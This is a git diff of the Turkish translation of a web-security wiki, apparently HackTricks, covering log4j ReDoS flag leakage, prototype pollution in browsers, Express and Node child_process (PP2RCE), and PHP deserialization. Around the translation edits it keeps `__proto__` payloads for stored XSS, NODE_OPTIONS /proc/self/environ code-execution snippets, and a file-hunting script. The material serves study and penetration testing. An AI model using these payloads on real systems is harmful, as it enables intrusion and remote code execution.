Önceki bölümde belirtildiği gibi, **`%replace`** **regex** destekler. Bu nedenle, bayrağın bulunması durumunda bir **timeout** oluşturmak için [**ReDoS sayfasından**](../regular-expression-denial-of-service-redos.md) payload kullanmak mümkündür.\
|
||||
Örneğin, `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` gibi bir payload, o CTF'de bir **timeout** tetikleyecektir.
|
||||
@ -418,7 +418,7 @@ Bu [**yazıda**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2
|
||||
>
|
||||
> Eğer bayrak `flagGuess` ile başlıyorsa, tüm bayrak 29 `#` ile değiştirilir (bu karakteri kullandım çünkü muhtemelen bayrağın bir parçası olmayacaktır). **Sonuçta oluşan 29 `#`'ın her biri 54 `#` ile değiştirilir**. Bu işlem **6 kez** tekrarlanır ve toplamda ` 29*54*54^6* =`` `` `**`96816014208`** **`#`!**
|
||||
>
|
||||
> Bu kadar çok `#`'ın değiştirilmesi, Flask uygulamasının 10 saniyelik timeout'unu tetikleyecek ve bu da kullanıcının HTTP durum kodu 500 almasına neden olacaktır. (Eğer bayrak `flagGuess` ile başlamıyorsa, 500 olmayan bir durum kodu alacağız)
|
||||
> Bu kadar çok `#` değiştirmek, Flask uygulamasının 10 saniyelik timeout'unu tetikleyecek ve bu da kullanıcının HTTP durum kodu 500 almasına neden olacaktır. (Eğer bayrak `flagGuess` ile başlamıyorsa, 500 olmayan bir durum kodu alacağız)
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
||||
@ -121,7 +121,7 @@ Bu işlemlerden sonra, her JavaScript nesnesi `goodbye` ve `greet` yöntemlerini
|
||||
|
||||
### Bir sınıftan Object.prototype'a
|
||||
|
||||
Belirli bir nesneyi **kirletebileceğiniz** ve **`Object.prototype`'a ulaşmanız gerektiği** bir senaryoda, aşağıdaki gibi bir kod ile arama yapabilirsiniz:
|
||||
Belirli bir nesneyi **kirletebileceğiniz** ve **Object.prototype'a ulaşmanız gerektiği** bir senaryoda, aşağıdaki gibi bir kod ile onu arayabilirsiniz:
|
||||
```javascript
|
||||
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
|
||||
|
||||
@ -211,14 +211,14 @@ Diğer yükler:
|
||||
client-side-prototype-pollution.md
|
||||
{{#endref}}
|
||||
|
||||
### CVE-2019–11358: jQuery $ .extend aracılığıyla prototip kirlenmesi saldırısı
|
||||
### CVE-2019–11358: Prototype pollution attack through jQuery $ .extend
|
||||
|
||||
[Detaylar için bu makaleye bakın](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) jQuery'de, `$ .extend` fonksiyonu derin kopyalama özelliği yanlış kullanıldığında prototip kirlenmesine yol açabilir. Bu fonksiyon genellikle nesneleri klonlamak veya varsayılan bir nesneden özellikleri birleştirmek için kullanılır. Ancak, yanlış yapılandırıldığında, yeni bir nesne için tasarlanan özellikler prototipe atanabilir. Örneğin:
|
||||
[Detaylar için bu makaleye bakın](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) jQuery'de, `$ .extend` fonksiyonu derin kopyalama özelliği yanlış kullanıldığında prototip kirlenmesine yol açabilir. Bu fonksiyon, nesneleri klonlamak veya varsayılan bir nesneden özellikleri birleştirmek için yaygın olarak kullanılır. Ancak, yanlış yapılandırıldığında, yeni bir nesne için tasarlanan özellikler prototipe atanabilir. Örneğin:
|
||||
```javascript
|
||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
|
||||
console.log({}.devMode) // Outputs: true
|
||||
```
|
||||
Bu zafiyet, CVE-2019–11358 olarak tanımlanmıştır ve derin bir kopyanın istemeden prototipi nasıl değiştirebileceğini, `isAdmin` gibi özelliklerin uygun varlık doğrulaması olmadan kontrol edilmesi durumunda yetkisiz yönetici erişimi gibi potansiyel güvenlik risklerine yol açabileceğini göstermektedir.
|
||||
Bu zafiyet, CVE-2019–11358 olarak tanımlanmıştır ve derin bir kopyanın istemeden prototipi değiştirebileceğini, bu durumun da `isAdmin` gibi özelliklerin uygun varlık doğrulaması olmadan kontrol edilmesi durumunda yetkisiz yönetici erişimi gibi potansiyel güvenlik risklerine yol açabileceğini göstermektedir.
|
||||
|
||||
### CVE-2018–3721, CVE-2019–10744: lodash üzerinden prototip kirlenmesi saldırısı
|
||||
|
||||
@ -237,7 +237,7 @@ Bu zafiyet, CVE-2019–11358 olarak tanımlanmıştır ve derin bir kopyanın is
|
||||
|
||||
### NodeJS'de AST Prototip Kirlenmesi
|
||||
|
||||
NodeJS, JavaScript'te şablon motorları ve TypeScript gibi işlevler için Soyut Sözdizim Ağaçlarını (AST) yaygın olarak kullanmaktadır. Bu bölüm, şablon motorlarındaki prototip kirlenmesi ile ilgili zafiyetleri, özellikle Handlebars ve Pug'u incelemektedir.
|
||||
NodeJS, JavaScript'te şablon motorları ve TypeScript gibi işlevler için Soyut Sözdizim Ağaçları (AST) kullanmaktadır. Bu bölüm, Handlebars ve Pug gibi şablon motorlarındaki prototip kirlenmesi ile ilgili zafiyetleri keşfetmektedir.
|
||||
|
||||
#### Handlebars Zafiyet Analizi
|
||||
|
||||
@ -248,7 +248,7 @@ Handlebars şablon motoru, bir prototip kirlenmesi saldırısına karşı hassas
|
||||
Sömürü, Handlebars tarafından üretilen AST (Soyut Sözdizim Ağacı) kullanılarak şu adımları izler:
|
||||
|
||||
1. **Parser'ın Manipülasyonu**: İlk olarak, `NumberLiteral` düğümü aracılığıyla parser, değerlerin sayısal olmasını zorunlu kılar. Prototip kirlenmesi bunu aşabilir ve sayısal olmayan dizelerin eklenmesine olanak tanır.
|
||||
2. **Derleyici Tarafından İşlenmesi**: Derleyici, bir AST Objesini veya bir dize şablonunu işleyebilir. Eğer `input.type` `Program`'a eşitse, girdi önceden işlenmiş olarak kabul edilir ve bu sömürülebilir.
|
||||
2. **Derleyici Tarafından İşlenmesi**: Derleyici, bir AST Objesini veya bir dize şablonunu işleyebilir. Eğer `input.type` `Program`'a eşitse, girdi önceden işlenmiş olarak kabul edilir ve bu durum sömürülebilir.
|
||||
3. **Kod Enjeksiyonu**: `Object.prototype`'ın manipülasyonu yoluyla, şablon işlevine rastgele kod enjekte edilebilir, bu da uzaktan kod yürütmeye yol açabilir.
|
||||
|
||||
Handlebars zafiyetinin sömürüsünü gösteren bir örnek:
|
||||
@ -338,14 +338,14 @@ Prototip kirlenmesi riskini azaltmak için aşağıdaki stratejiler uygulanabili
|
||||
|
||||
1. **Nesne Değişmezliği**: `Object.prototype`'ı `Object.freeze` uygulayarak değişmez hale getirebilirsiniz.
|
||||
2. **Girdi Doğrulama**: JSON girdileri, uygulamanın şemasına karşı titizlikle doğrulanmalıdır.
|
||||
3. **Güvenli Birleştirme Fonksiyonları**: Güvensiz birleştirme fonksiyonlarının rekürsif kullanımından kaçınılmalıdır.
|
||||
3. **Güvenli Birleştirme Fonksiyonları**: Güvensiz birleştirme fonksiyonlarının özyinelemeli kullanımından kaçınılmalıdır.
|
||||
4. **Prototipsiz Nesneler**: Prototip özellikleri olmayan nesneler `Object.create(null)` kullanılarak oluşturulabilir.
|
||||
5. **Map Kullanımı**: Anahtar-değer çiftlerini depolamak için `Object` yerine `Map` kullanılmalıdır.
|
||||
6. **Kütüphane Güncellemeleri**: Güvenlik yamaları, kütüphaneleri düzenli olarak güncelleyerek entegre edilebilir.
|
||||
7. **Linter ve Statik Analiz Araçları**: Prototip kirlenmesi zafiyetlerini tespit ve önlemek için uygun eklentilere sahip ESLint gibi araçlar kullanılmalıdır.
|
||||
8. **Kod İncelemeleri**: Prototip kirlenmesi ile ilgili potansiyel riskleri belirlemek ve düzeltmek için kapsamlı kod incelemeleri uygulanmalıdır.
|
||||
9. **Güvenlik Eğitimi**: Geliştiricileri prototip kirlenmesi riskleri ve güvenli kod yazma en iyi uygulamaları hakkında eğitmek.
|
||||
10. **Kütüphaneleri Dikkatle Kullanma**: Üçüncü taraf kütüphaneleri kullanırken dikkatli olun. Güvenlik durumlarını değerlendirin ve özellikle nesneleri manipüle edenlerin kodunu gözden geçirin.
|
||||
10. **Kütüphaneleri Dikkatle Kullanma**: Üçüncü taraf kütüphaneleri kullanırken dikkatli olun. Güvenlik duruşlarını değerlendirin ve özellikle nesneleri manipüle edenlerin kodunu gözden geçirin.
|
||||
11. **Çalışma Zamanı Koruması**: Prototip kirlenmesi saldırılarını tespit ve önlemek için güvenlik odaklı npm paketleri gibi çalışma zamanı koruma mekanizmaları kullanın.
|
||||
|
||||
## Referanslar
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Araçlar [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **ve** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) **prototip kirlenmesi zafiyetlerini** **bulmak için** kullanılabilir.
|
||||
|
||||
Ayrıca, **prototip kirlenmesi zafiyetleri** için **eriştiğiniz** **sayfaları** **otomatik olarak** **taramak** amacıyla **tarayıcı uzantısı** [**PPScan**](https://github.com/msrkp/PPScan) **kullanabilirsiniz**.
|
||||
Ayrıca, **prototip kirlenmesi zafiyetleri** için **eriştiğiniz** **sayfaları** **otomatik olarak** **taramak** amacıyla **PPScan** [**tarayıcı uzantısını**](https://github.com/msrkp/PPScan) da kullanabilirsiniz.
|
||||
|
||||
### Bir özelliğin nerede kullanıldığını hata ayıklama <a href="#id-5530" id="id-5530"></a>
|
||||
```javascript
|
||||
@ -25,7 +25,7 @@ Bir prototype pollution zafiyeti herhangi bir araç tarafından belirlendikten s
|
||||
|
||||
Daha büyük ve karmaşık kod tabanları için, zayıf kodu keşfetmenin basit bir yöntemi aşağıdaki adımları içerir:
|
||||
|
||||
1. Bir aracı kullanarak bir zafiyeti belirleyin ve bir özelliği kurucuda ayarlamak için tasarlanmış bir yük elde edin. ppmap tarafından sağlanan bir örnek şöyle görünebilir: `constructor[prototype][ppmap]=reserved`.
|
||||
1. Bir aracı kullanarak bir zafiyeti belirleyin ve bir özelliği yapıcıda ayarlamak için tasarlanmış bir yük elde edin. ppmap tarafından sağlanan bir örnek şöyle görünebilir: `constructor[prototype][ppmap]=reserved`.
|
||||
2. Sayfada çalışacak ilk JavaScript kodunun satırında bir kesme noktası ayarlayın. Yük ile sayfayı yenileyin ve bu kesme noktasında yürütmeyi durdurun.
|
||||
3. JavaScript yürütmesi duraklatıldığında, JS konsolunda aşağıdaki betiği çalıştırın. Bu betik, 'ppmap' özelliği oluşturulduğunda sinyal verecek ve kökenini bulmanıza yardımcı olacaktır:
|
||||
```javascript
|
||||
@ -46,9 +46,9 @@ origValue = val
|
||||
|
||||
debugAccess(Object.prototype, "ppmap")
|
||||
```
|
||||
4. **Sources** sekmesine geri dönün ve “Script yürütmesini devam ettir” seçeneğini seçin. JavaScript çalışmaya devam edecek ve 'ppmap' özelliği beklendiği gibi kirletilecektir. Sağlanan kod parçasını kullanmak, 'ppmap' özelliğinin kirletildiği tam yeri belirlemeyi kolaylaştırır. **Call Stack**'i inceleyerek, kirlenmenin gerçekleştiği farklı yığınlar gözlemlenebilir.
|
||||
4. **Sources** sekmesine geri dönün ve “Script yürütmesini devam ettir” seçeneğini seçin. JavaScript çalışmaya devam edecek ve 'ppmap' özelliği beklendiği gibi kirletilecektir. Sağlanan kod parçasını kullanarak 'ppmap' özelliğinin kirletildiği tam yeri belirlemek kolaylaşır. **Call Stack**'i inceleyerek, kirlenmenin gerçekleştiği farklı yığınlar gözlemlenebilir.
|
||||
|
||||
Hangi yığını araştıracağınıza karar verirken, genellikle JavaScript kütüphane dosyalarıyla ilişkili yığınları hedeflemek faydalıdır, çünkü prototip kirlenmesi genellikle bu kütüphaneler içinde meydana gelir. İlgili yığını, kütüphane dosyalarına olan bağlantısını inceleyerek belirleyin (sağ tarafta, rehberlik için sağlanan bir resme benzer şekilde görünür). Birden fazla yığın olan senaryolarda, örneğin 4 ve 6. satırlarda, mantıklı seçim 4. satırdaki yüktür, çünkü bu, kirlenmenin ilk gerçekleştiği yerdir ve dolayısıyla zafiyetin kök nedenini temsil eder. Yığına tıklamak sizi savunmasız koda yönlendirecektir.
|
||||
Hangi yığını inceleyeceğinize karar verirken, genellikle JavaScript kütüphane dosyalarıyla ilişkili yığınları hedeflemek faydalıdır, çünkü prototip kirlenmesi genellikle bu kütüphaneler içinde meydana gelir. İlgili yığını, kütüphane dosyalarına olan bağlantısını inceleyerek belirleyin (sağ tarafta, rehberlik için sağlanan bir resme benzer şekilde görünür). Birden fazla yığın olan senaryolarda, örneğin 4. ve 6. satırlarda, mantıklı seçim 4. satırdaki yüktür, çünkü bu, kirlenmenin ilk gerçekleştiği yerdir ve dolayısıyla zafiyetin kök nedenini temsil eder. Yığına tıklamak sizi savunmasız koda yönlendirecektir.
|
||||
|
||||

|
||||
|
||||
@ -56,7 +56,7 @@ Hangi yığını araştıracağınıza karar verirken, genellikle JavaScript kü
|
||||
|
||||
Gadget, **bir PP zafiyeti keşfedildiğinde kötüye kullanılacak koddur**.
|
||||
|
||||
Uygulama basitse, **`srcdoc/innerHTML/iframe/createElement`** gibi **anahtar kelimeleri** **arama** yapabiliriz ve kaynak kodunu gözden geçirip bunun **javascript yürütmesine yol açıp açmadığını** kontrol edebiliriz. Bazen, bahsedilen teknikler hiç gadget bulamayabilir. Bu durumda, saf kaynak kodu incelemesi bazı güzel gadget'lar ortaya çıkarabilir, aşağıdaki örnekte olduğu gibi.
|
||||
Uygulama basitse, **`srcdoc/innerHTML/iframe/createElement`** gibi **anahtar kelimeleri** **arama** yapabiliriz ve kaynak kodunu gözden geçirip bunun **javascript yürütmesine yol açıp açmadığını** kontrol edebiliriz. Bazen, bahsedilen teknikler hiç gadget bulamayabilir. Bu durumda, saf kaynak kodu incelemesi aşağıdaki örnekte olduğu gibi bazı güzel gadget'ları ortaya çıkarır.
|
||||
|
||||
### Mithil kütüphane kodunda PP gadget bulma örneği
|
||||
|
||||
@ -67,7 +67,7 @@ Bu yazıyı kontrol edin: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-
|
||||
- [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution)
|
||||
- [https://github.com/BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution)
|
||||
|
||||
## PP aracılığıyla HTML Sanitizer'ları atlatma
|
||||
## HTML Sanitizer'ları PP ile atlatma
|
||||
|
||||
[**Bu araştırma**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) bazı HTML sanitizer kütüphaneleri tarafından sağlanan **sanitizasyonları atlatmak için kullanılacak PP gadget'larını** göstermektedir:
|
||||
|
||||
|
||||
@ -16,15 +16,15 @@ _.merge({}, req.body)
|
||||
res.send(req.body)
|
||||
})
|
||||
```
|
||||
Bu durumlarda XSS genellikle JSON içerik türü ile mümkün değildir. Ancak, prototype pollution ile **Express'i bir HTML yanıtı sunması için kandırabiliriz.** Bu güvenlik açığı, uygulamanın **`res.send(obj)`** kullanmasına ve application/json içerik türü ile body parser'ı kullanmasına dayanır.
|
||||
Bu durumlarda XSS genellikle JSON içerik türü ile mümkün değildir. Ancak, prototip kirlenmesi ile **Express'i bir HTML yanıtı sunması için kandırabiliriz.** Bu güvenlik açığı, uygulamanın **`res.send(obj)`** kullanmasına ve uygulama/json içerik türü ile gövde ayrıştırıcısını kullanmasına dayanır.
|
||||
```json
|
||||
{ "__proto__": { "_body": true, "body": "<script>evil()" } }
|
||||
```
|
||||
**`body`** ve **`_body`** özelliklerini **kirleterek**, **Express'in HTML içerik türünü sunmasını** sağlamak ve **_body** özelliğini yansıtmak mümkündür; bu da saklı XSS'e yol açar.
|
||||
**`body`** ve **`_body`** özelliklerini **kirleterek**, **Express'in HTML içerik türünü sunmasını** sağlamak ve **_body** özelliğini yansıtmak mümkündür; bu da saklı XSS'ye yol açar.
|
||||
|
||||
### UTF7'yi Render Et
|
||||
|
||||
Express'in **UTF-7 içeriğini render etmesini sağlamak mümkündür**:
|
||||
Express'in **UTF-7 içeriği render etmesini sağlamak mümkündür**:
|
||||
```json
|
||||
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
|
||||
```
|
||||
|
||||
@ -41,7 +41,7 @@ var proc = fork("a_file.js")
|
||||
|
||||
**PP2RCE**, **Prototype Pollution to RCE** (Uzak Kod Çalıştırma) anlamına gelir.
|
||||
|
||||
Bu [**yazıya**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) göre, bir **işlem başlatıldığında** **`child_process`**'ten bazı yöntemlerle (örneğin `fork` veya `spawn` gibi) `normalizeSpawnArguments` yöntemini çağırır; bu, **yeni env değişkenleri oluşturmak için bir prototip kirletme aracıdır**:
|
||||
Bu [**yazıya**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) göre, bir **işlem başlatıldığında** **`child_process`**'ten bazı yöntemlerle (örneğin `fork` veya `spawn` gibi) `normalizeSpawnArguments` yöntemini çağırır; bu, **yeni env değişkenleri oluşturmak için bir prototip kirlenme aracı**dır:
|
||||
```javascript
|
||||
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
||||
|
||||
@ -61,12 +61,12 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
|
||||
}
|
||||
}
|
||||
```
|
||||
Kodunuzu kontrol edin, **`.env`** niteliğini **kirleterek** **envPairs**'i **zehirlemenin** mümkün olduğunu görebilirsiniz.
|
||||
Kodunuzu kontrol edin, **`envPairs`**'i **kirleterek** **`.env`** niteliğini **zehirlemenin** mümkün olduğunu görebilirsiniz.
|
||||
|
||||
### **`__proto__`'yu Zehirleme**
|
||||
|
||||
> [!WARNING]
|
||||
> **`child_process`** kütüphanesindeki **`normalizeSpawnArguments`** fonksiyonunun çalışma şekli nedeniyle, bir süreç için **yeni bir env değişkeni ayarlamak** amacıyla bir şey çağrıldığında, sadece **herhangi bir şeyi kirletmeniz** yeterlidir.\
|
||||
> **`child_process`** kütüphanesindeki **`normalizeSpawnArguments`** fonksiyonunun çalışma şekli nedeniyle, bir şeyin çağrılması durumunda süreç için **yeni bir env değişkeni ayarlamak** için sadece **herhangi bir şeyi kirletmeniz** gerekir.\
|
||||
> Örneğin, `__proto__.avar="valuevar"` yaparsanız, süreç `avar` adında ve değeri `valuevar` olan bir değişkenle başlatılacaktır.
|
||||
>
|
||||
> Ancak, **env değişkeninin ilk** olması için **`.env` niteliğini** **kirletmeniz** gerekir ve (sadece bazı yöntemlerde) o değişken **ilk** olacak (saldırıya izin verecek).
|
||||
@ -124,7 +124,7 @@ var proc = fork("a_file.js")
|
||||
|
||||
Öncekiyle benzer bir yük, bazı değişikliklerle [**bu yazıda**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)** önerilmiştir.** Ana farklar şunlardır:
|
||||
|
||||
- Nodejs **payload**'ını `/proc/self/environ` dosyası içinde depolamak yerine, **`/proc/self/cmdline`** içindeki **argv0**'da depolar.
|
||||
- Nodejs **payload**'ını `/proc/self/environ` dosyasında saklamak yerine, **`/proc/self/cmdline`** içindeki argv0'da saklar.
|
||||
- Ardından, **`NODE_OPTIONS`** aracılığıyla `/proc/self/environ` dosyasını gerektirmek yerine, **`/proc/self/cmdline`** dosyasını gerektirir.
|
||||
```javascript
|
||||
const { execSync, fork } = require("child_process")
|
||||
@ -228,9 +228,9 @@ var proc = execFile("/usr/bin/node")
|
||||
// Windows - not working
|
||||
```
|
||||
**`execFile`**'ın çalışması için **mutlaka node**'u çalıştırması **GEREKİR**.\
|
||||
Eğer **node**'u çalıştırmıyorsa, neyi çalıştırdığını **çevre değişkenleri** ile **değiştirmenin** bir yolunu bulmalısınız ve bunları ayarlamalısınız.
|
||||
Eğer **node**'u çalıştırmıyorsa, çalıştırdığı şeyi **çevre değişkenleri** ile **değiştirmenin** bir yolunu bulmalısınız ve bunları ayarlamalısınız.
|
||||
|
||||
**Diğer** teknikler bu gereksinim olmadan **çalışır** çünkü **neyin çalıştırıldığını** prototip kirlenmesi yoluyla **değiştirmek mümkündür**. (Bu durumda, `.shell`'i kirletebilseniz bile, çalıştırılanı kirletemezsiniz).
|
||||
**Diğer** teknikler bu gereklilik olmadan **çalışır** çünkü **neyin çalıştırıldığını** prototip kirlenmesi yoluyla **değiştirmek mümkündür**. (Bu durumda, `.shell`'i kirletebilseniz bile, çalıştırılan şeyi kirletemezsiniz).
|
||||
|
||||
</details>
|
||||
|
||||
@ -369,7 +369,7 @@ var proc = execSync("something")
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong><code>execSync</code> istismarı</strong></summary>
|
||||
<summary><strong><code>execSync</code> istismar</strong></summary>
|
||||
```javascript
|
||||
// environ trick - working with small variation (shell and argv0)
|
||||
// Working after kEmptyObject (fix)
|
||||
@ -463,18 +463,18 @@ var proc = spawnSync("something")
|
||||
|
||||
## Spawn'ı Zorlamak
|
||||
|
||||
Önceki örneklerde, bir gadget'ı tetiklemeyi nasıl yapacağınızı gördünüz; **`spawn`** çağıran bir işlevselliğin **mevcut** olması gerekir (bir şeyi yürütmek için kullanılan **`child_process`**'in tüm yöntemleri bunu çağırır). Önceki örnekte bu **kodun bir parçasıydı**, ama ya kod **bunu** çağırmıyorsa?
|
||||
Önceki örneklerde, bir gadget'ı tetiklemeyi nasıl yapacağınızı gördünüz; bir işlevselliğin **`spawn`**'ı **çağırması** gerekir (bir şeyi çalıştırmak için kullanılan **`child_process`**'in tüm yöntemleri bunu çağırır). Önceki örnekte bu **kodun bir parçasıydı**, ama ya kod **bunu** çağırmıyorsa?
|
||||
|
||||
### Bir require dosya yolunu kontrol etme
|
||||
|
||||
Bu [**diğer yazıda**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) kullanıcı, bir **`require`**'ın yürütüleceği dosya yolunu kontrol edebilir. Bu senaryoda, saldırganın sadece **sistemde bir `.js` dosyası bulması** gerekir ki bu dosya **içe aktarıldığında bir spawn yöntemini yürütür.**\
|
||||
Bu [**diğer yazıda**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) kullanıcı, bir **`require`**'ın çalıştırılacağı dosya yolunu kontrol edebilir. Bu senaryoda, saldırganın sadece **sistemde bir `.js` dosyası bulması** gerekir ki bu dosya **içe aktarıldığında bir spawn yöntemini çalıştıracaktır.**\
|
||||
İçe aktarıldığında bir spawn işlevini çağıran bazı yaygın dosya örnekleri şunlardır:
|
||||
|
||||
- /path/to/npm/scripts/changelog.js
|
||||
- /opt/yarn-v1.22.19/preinstall.js
|
||||
- **Aşağıda daha fazla dosya bulun**
|
||||
|
||||
Aşağıdaki basit betik, **padding** olmadan **child_process**'ten **çağrıları** arayacaktır (fonksiyonlar içindeki çağrıları göstermemek için):
|
||||
Aşağıdaki basit betik, **fonksiyonlar içindeki çağrıları göstermemek için** (herhangi bir padding olmadan) **child_process**'ten **çağrıları** arayacaktır:
|
||||
```bash
|
||||
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
|
||||
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
|
||||
@ -500,16 +500,16 @@ done
|
||||
### Prototip kirlenmesi ile require dosya yolunu ayarlama
|
||||
|
||||
> [!WARNING]
|
||||
> **Önceki teknik**, **kullanıcının** **require edilecek dosyanın yolunu kontrol etmesini** **gerektirir**. Ancak bu her zaman doğru değildir.
|
||||
> **Önceki teknik**, **kullanıcının** **require edilecek dosyanın yolunu kontrol etmesini gerektirir**. Ancak bu her zaman doğru değildir.
|
||||
|
||||
Ancak, eğer kod prototip kirlenmesinden sonra bir require işlemi gerçekleştirecekse, **require edilecek yolun kontrolünü sağlamasanız bile**, **prototip kirlenmesini kötüye kullanarak farklı bir yol zorlayabilirsiniz**. Yani, kod satırı `require("./a_file.js")` veya `require("bytes")` gibi olsa bile, **kirlettiğiniz paketi require edecektir**.
|
||||
Ancak, eğer kod prototip kirlenmesinden sonra bir require işlemi gerçekleştirecekse, **require edilecek yol üzerinde kontrolünüz olmasa bile**, **prototip kirlenmesini kötüye kullanarak farklı bir yol zorlayabilirsiniz**. Yani, kod satırı `require("./a_file.js")` veya `require("bytes")` gibi olsa bile, **kirlettiğiniz paketi require edecektir**.
|
||||
|
||||
Bu nedenle, eğer prototip kirlenmesinden sonra bir require işlemi gerçekleştirilirse ve hiçbir spawn fonksiyonu yoksa, bu saldırıdır:
|
||||
|
||||
- **Sistem içinde** **require edildiğinde** **bir şey çalıştıracak** bir **`.js` dosyası bulun**
|
||||
- **Sistem içinde** **require edildiğinde `child_process` kullanarak bir şey çalıştıracak bir `.js` dosyası bulun**
|
||||
- Eğer saldırdığınız platforma dosya yükleyebiliyorsanız, böyle bir dosya yükleyebilirsiniz
|
||||
- **`.js` dosyasının require yüklemesini zorlamak için yolları kirletin** ve child_process ile bir şey çalıştıracak
|
||||
- **Arbitrary kod çalıştırmak için environ/cmdline'ı kirletin** bir child_process yürütme fonksiyonu çağrıldığında (ilk tekniklere bakın)
|
||||
- `.js` dosyasının require yüklemesini **zorlamak için yolları kirletin** ve child_process ile bir şey çalıştıracak dosyayı yükleyin
|
||||
- Bir child_process yürütme fonksiyonu çağrıldığında rastgele kod çalıştırmak için **çevre/cmdline'ı kirletin** (ilk tekniklere bakın)
|
||||
|
||||
#### Mutlak require
|
||||
|
||||
@ -658,26 +658,26 @@ NODE_OPTIONS: "--require=/proc/self/environ",
|
||||
|
||||
require("./usage.js")
|
||||
```
|
||||
## VM Gadgets
|
||||
## VM Gadgetleri
|
||||
|
||||
Makalede [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) **`vm`** kütüphanesinin bazı yöntemlerinden **`contextExtensions`** kontrolünün bir gadget olarak kullanılabileceği de belirtilmiştir.\
|
||||
Makalede [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) bazı **`vm`** kütüphanesinin yöntemlerinden **`contextExtensions`** kontrolünün bir gadget olarak kullanılabileceği belirtilmiştir.\
|
||||
Ancak, önceki **`child_process`** yöntemleri gibi, en son sürümlerde **düzeltilmiştir**.
|
||||
|
||||
## Fixes & Unexpected protections
|
||||
## Düzeltmeler & Beklenmedik korumalar
|
||||
|
||||
Lütfen, prototip kirlenmesinin, erişilen bir nesnenin **özelliği** **undefined** olduğunda çalıştığını unutmayın. Eğer **kodda** bu **özellik** bir **değer** ile **ayarlanmışsa**, onu **üstüne yazamazsınız**.
|
||||
|
||||
Haziran 2022'de [**bu commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) ile `options` değişkeni `{}` yerine **`kEmptyObject`** olarak ayarlanmıştır. Bu, **prototip kirlenmesinin** **options**'ın **özelliklerini** etkilemesini engeller ve RCE elde etmeyi sağlar.\
|
||||
En azından v18.4.0'dan itibaren bu koruma **uygulanmıştır** ve bu nedenle `spawn` ve `spawnSync` **sömürüleri** artık yöntemleri etkilememektedir (eğer `options` kullanılmıyorsa!).
|
||||
Haziran 2022'de [**bu commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) ile `options` değişkeni `{}` yerine **`kEmptyObject`** olarak ayarlanmıştır. Bu, **prototip kirlenmesinin** **`options`** özelliklerini etkilemesini engellemektedir ve RCE elde etmek için kullanılmamaktadır.\
|
||||
En azından v18.4.0'dan itibaren bu koruma **uygulanmıştır** ve bu nedenle `spawn` ve `spawnSync` **sömürüleri** artık yöntemleri **etkilememektedir** (eğer `options` kullanılmıyorsa!).
|
||||
|
||||
[**Bu committe**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) **vm** kütüphanesindeki **`contextExtensions`**'ın **prototip kirlenmesi** de **bir tür düzeltilmiştir**; seçenekler **`kEmptyObject`** olarak ayarlanmıştır, **`{}`** yerine.
|
||||
[**Bu committe**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) vm kütüphanesindeki **`contextExtensions`** için **prototip kirlenmesi** de **bir şekilde düzeltilmiştir**; seçenekler **`kEmptyObject`** olarak ayarlanmıştır, **`{}`** yerine.
|
||||
|
||||
### **Other Gadgets**
|
||||
### **Diğer Gadgetler**
|
||||
|
||||
- [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
|
||||
- [https://github.com/KTH-LangSec/server-side-prototype-pollution](https://github.com/KTH-LangSec/server-side-prototype-pollution)
|
||||
|
||||
## References
|
||||
## Referanslar
|
||||
|
||||
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
||||
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
|
||||
|
||||
@ -11,7 +11,7 @@ Bir **web uygulamasında PHP deserialization** bulduğumuz bir durumdayız ve **
|
||||
Adımlar:
|
||||
|
||||
- Bir **deserialization** buldunuz ve mevcut uygulama kodunda **hiçbir gadget** yok
|
||||
- Aşağıdaki gibi bir **`spl_autoload_register`** fonksiyonunu kullanarak **herhangi bir yerel dosyayı `.php` uzantısıyla yükleyebilirsiniz**
|
||||
